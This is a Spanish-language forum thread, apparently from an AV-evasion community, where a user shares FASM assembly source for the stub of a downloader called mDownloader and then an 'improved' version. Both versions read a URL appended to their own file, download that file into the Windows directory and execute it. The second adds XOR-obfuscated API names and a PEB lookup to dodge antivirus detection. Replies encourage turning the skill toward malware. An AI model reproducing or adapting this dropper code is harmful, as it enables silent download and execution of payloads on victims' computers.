Bueno, aqui les traigo el código de un downloader que e creado en fasm :P, solo dejo el código del Stub que es lo interesante jeje. Si alguien quiere todo el proyecto compilado, que lo diga.

Código: Seleccionar todo

;Stub de mDownloader
;Codeado por Drinky94 en diciembre de 2010
;www.drinky94. artehack .net
include 'win32ax.inc'

.data
    ruta dd ?
    manija dd ?
    larchivo dd ?
    espacio dd ?
    bleidos dd ?
    dll db 'urlmon.dll',0
    funcion db 'URLDownloadToFileA',0
    mUrl dd ?
    dlls db 'msvcrt.dll',0
    funcions db 'getenv',0
    shell dd ?
    user db 'windir',0
    añadir db '\archivo.exe',0
    destino dd ?


.code
start:

        invoke GlobalAlloc,GPTR,1024
        mov [ruta],eax
        invoke GetModuleFileName,0,[ruta],1024

        invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
        mov [manija],eax
        invoke GetFileSize,[manija],0
        mov [larchivo],eax
        invoke GlobalAlloc,GPTR,[larchivo]
        mov [espacio],eax
        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
        invoke CloseHandle,[manija]

        mov ecx,1
        mov eax,[espacio]
        add [larchivo],10
        bucle:

            .if byte[eax+ecx] = '#'
                inc ecx
                .if byte[eax+ecx] = '#'
                    inc ecx
                    .if byte[eax+ecx] = '#'
                        inc ecx
                        add eax,ecx
                        mov [espacio],eax
                        jmp salir
                    .endif
                    dec ecx
                .endif
                dec ecx
             .endif

             .if ecx > [larchivo]
                 jmp salir
             .endif

             inc ecx
             jmp bucle

        salir:

        invoke LoadLibrary,dlls
        invoke GetProcAddress,eax,funcions
        mov [shell],eax

        push user
        call [shell]

        invoke lstrcat,eax,añadir
        mov [destino],eax

        invoke LoadLibrary,dll
        invoke GetProcAddress,eax,funcion
        mov [mUrl],eax

        push 0
        push 0
        push [destino]
        push [espacio]
        push 0
 
        call [mUrl]

        invoke ShellExecute,0,"open",[destino],0,0,0

       leave
       ret
.end start                        
Espero que a alguien le sirva :P

salu2!
Imagen
Bueno, aqui les dejo el código mejorado:

Código: Seleccionar todo

; // Source Stub mDownloader 
; // Programado por Drinky94
; // web del autor: drinky94.artehack.net
; // Dedicado a www.indetectables.net
include 'win32ax.inc'
 
.data
   manija dd ?
   larchivo dd ?
   espacio dd ?
   bleidos dd ?
   dll db 'rukjhi)ckk',0
   funcion db 'RUKChpikhfcShAnkbF',0
   añadir db '%windir%\archivo.exe',0
   ruta dd ?
 
.code
start:
       xor  eax, eax
       mov  eax, [FS:eax+0x30]
       mov  eax, [DS:eax+0x10]
       mov  eax, [DS:eax+0x3C]
 
       invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
       mov [manija],eax
       invoke GetFileSize,[manija],0
       mov [larchivo],eax
       invoke GlobalAlloc,GPTR,[larchivo]
       mov [espacio],eax
       invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
       invoke CloseHandle,[manija]
 
       mov ecx,1
       mov eax,[espacio]
       add [larchivo],10
       bucle:
 
           .if byte[eax+ecx] = '#'
               inc ecx
               .if byte[eax+ecx] = '#'
                   inc ecx
                   .if byte[eax+ecx] = '#'
                       inc ecx
                       add eax,ecx
                       mov [espacio],eax
                       jmp salir
                   .endif
                   dec ecx
               .endif
               dec ecx
            .endif
 
            .if ecx > [larchivo]
                jmp salir
            .endif
 
            inc ecx
            jmp bucle
 
       salir:
 
       invoke GlobalAlloc,GPTR,1024
       mov [ruta],eax
       invoke ExpandEnvironmentStrings,añadir,[ruta],1024
 
       stdcall Cifrar,dll
       invoke LoadLibrary,eax
 
       push eax
       stdcall Cifrar,funcion
       mov ecx,eax
       pop eax
 
       invoke GetProcAddress,eax,ecx
 
       push 0
       push 0
       push [ruta]
       push [espacio]
       push 0
 
       call eax
 
       invoke ShellExecute,0,"open",[ruta],0,0,0
 
       leave
       ret
 
       proc Cifrar,Cadena
           xor ecx,ecx
           mov eax,[Cadena]
           .bucle:
               .if byte[eax+ecx] = 0
                   jmp .salir
               .endif
               xor byte[eax+ecx],7
               inc ecx
               jmp .bucle
           .salir:
           ret
        endp
.end start
salu2!
Imagen
linkgl escribió:Muy bueno, y limpio el código sobretodo el segundo!.

Gracias . Me animan a codear aun mas.

salu2!
Imagen
Pues se ve que eres bueno con el ASM, y yo que recién me meto a este lenguaje como habrás notado en alguno de mis desordenados posts xD me sirve bastante.!
//mHmm..
parece que eres un buen programador Drinky94 si no me equivoco manejas ASM y C verdad? estoy seguro que si lo aplicas al malware serás un gran codder de indetectables ánimo

saludos!!
Soy un camaleón, en tu cama, leona ♪
Dr_HaCk93 escribió::Aplausos: parece que eres un buen programador Drinky94 si no me equivoco manejas ASM y C verdad? estoy seguro que si lo aplicas al malware serás un gran codder de indetectables ánimo

saludos!!

Jeje gracia Dr_HaCk93, no es para tanto se hace lo que puede XD. Manejo como puedo vb6,C y Fasm.

salu2!
Imagen
Responder

Volver a “Otros lenguajes”